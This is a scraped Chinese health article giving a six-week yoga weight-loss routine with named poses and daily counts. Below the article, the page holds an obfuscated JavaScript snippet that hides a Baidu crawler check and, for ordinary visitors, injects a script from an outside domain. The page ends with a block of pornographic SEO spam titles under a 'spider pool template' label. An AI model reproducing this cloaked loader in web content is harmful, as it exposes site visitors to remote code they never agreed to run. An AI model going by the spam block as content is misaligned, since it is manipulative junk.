<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      怎么做瑜伽能減肥呢

      2017-04-15 10:56:04  來源:360常識網   熱度:
      導語:瑜伽能夠對身體進行鍛煉,同時也可以對大腦或者是心臟進行鍛煉,這樣就可以起到養生保健的作用。而且瑜伽不但可以適合身材纖細的女孩子練習

      瑜伽能夠對身體進行鍛煉,同時也可以對大腦或者是心臟進行鍛煉,這樣就可以起到養生保健的作用。而且瑜伽不但可以適合身材纖細的女孩子練習,還適合一些身體比較肥胖的人,因為瑜伽的練習也會起到一定的減肥效果。下面就給大家來講一講,怎么鍛煉瑜伽才可以起到良好的減肥作用。

      肥胖者的瑜伽鍛煉計劃:

      現在你要繼續鍛煉瑜伽姿勢,保證你的體重恢復平衡。如果你要恢復你的身材體重,需要你有選擇的進行瑜伽的練習,初期,不能要求進行所有的練習,也不需要你為了達到期望的效果而勉強練習難度較大的方法。許多簡單的阿薩納姿勢,對于控制體重,和調整身體狀況有非常明顯的效果。

      在剛開始練習的時候,你千萬不要鍛煉過多的姿勢,你應該循序漸進,并且堅持不懈的。第一周你去按照我推薦的姿勢開始,第二周、第三周和以后的數周,逐漸增加數量。我希望你的進展是穩步的,并且沒有任何的疲勞感覺從而不會耽誤你的正常生活,而且我早就說過,通過瑜伽鍛煉方法控制體重是緩慢而持續的,如果你明白了這些道理,請你繼續下去。

      第一周

      1. 單側仰臥式——每天至少練習8遍,每條腿交替練習4遍。

      2. 仰臥式——每天不要超過6遍。

      第二周

      繼續上面的方法,然后增加以下姿勢。

      1. 蛇式——每天保證4遍。

      2. 蝗蟲式——每天保證4遍。

      第三周

      繼續第一、二周的方法,然后增加以下姿勢

      1. 平衡式——每天練習6遍,每條腿交替練習3遍。

      2. 曲腿式——每天練習6遍,每條腿交替練習3遍。

      第四周

      繼續第一、二、三周的方法,然后增加以下姿勢。

      1. 祈陽式——每天練習4遍。

      2. 反弓式——每天練習4遍。

      第五周

      繼續第一、二、三、四周的方法,然后增加以下姿勢。

      1. 半側式——每天練習4次,每側練習2次。

      2. 前屈式——每天練習4次。

      第六周

      繼續第一、二、三、四、五周的方法,然后增加以下姿勢。

      1. 睡英雄式——每天練習4遍。(睡雷式)

      2. 魚王式——每天練習2遍。

      正確的去做,一個月可以去掉2-4斤的多于脂肪。

      如果你堅持鍛煉了六周,那么恭喜你,你身上的肥肉已經減少許多了,需要做的就是繼續堅持下去。在這個時候,你可以選擇恢復原來的生活,就像沒練習瑜伽之前一樣,這樣也不會讓肥胖反彈。如果你想繼續練習下去,那么可以選擇一些運動量更大的運動,這樣可以讓身體的狀況得以保持。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 亚洲熟女乱综合一区二区| 婷婷亚洲综合五月天小说| 狠狠色噜狠狠狠狠色综合久| 国产V综合V亚洲欧美久久| 国产成人综合亚洲欧美天堂| 久久婷婷五月综合97色直播| 国产色综合天天综合网 | 99久久国产综合精品网成人影院 | 亚洲乱码中文字幕综合234| 欧美日韩综合在线| 欧美激情综合五月色丁香| 色老头综合免费视频| 亚州欧州一本综合天堂网| 国产精品综合色区在线观看| 久久精品水蜜桃av综合天堂| 色青青草原桃花久久综合| 亚洲婷婷五月综合狠狠爱| 久久99亚洲综合精品首页| 婷婷亚洲综合五月天小说| 久久综合给久久狠狠97色| 国产综合精品女在线观看| 色狠狠成人综合色| 久久久久亚洲AV综合波多野结衣| 狠狠色噜噜狠狠狠狠色综合久AV| 精品综合久久久久久97超人| 精品久久综合1区2区3区激情| 色婷婷六月亚洲综合香蕉| 色噜噜成人综合网站| 久久综合九色综合久99| 日韩欧美色综合网站| 日韩欧美Aⅴ综合网站发布| 狠狠做五月深爱婷婷天天综合| 激情综合丁香五月| 亚洲乱码中文字幕综合| 国产综合精品女在线观看| 色妞色综合久久夜夜| 日韩欧美亚洲综合久久影院Ds | 欧美激情综合亚洲一二区| 久久狠狠一本精品综合网| 夜鲁鲁鲁夜夜综合视频欧美| 日韩无码系列综合区|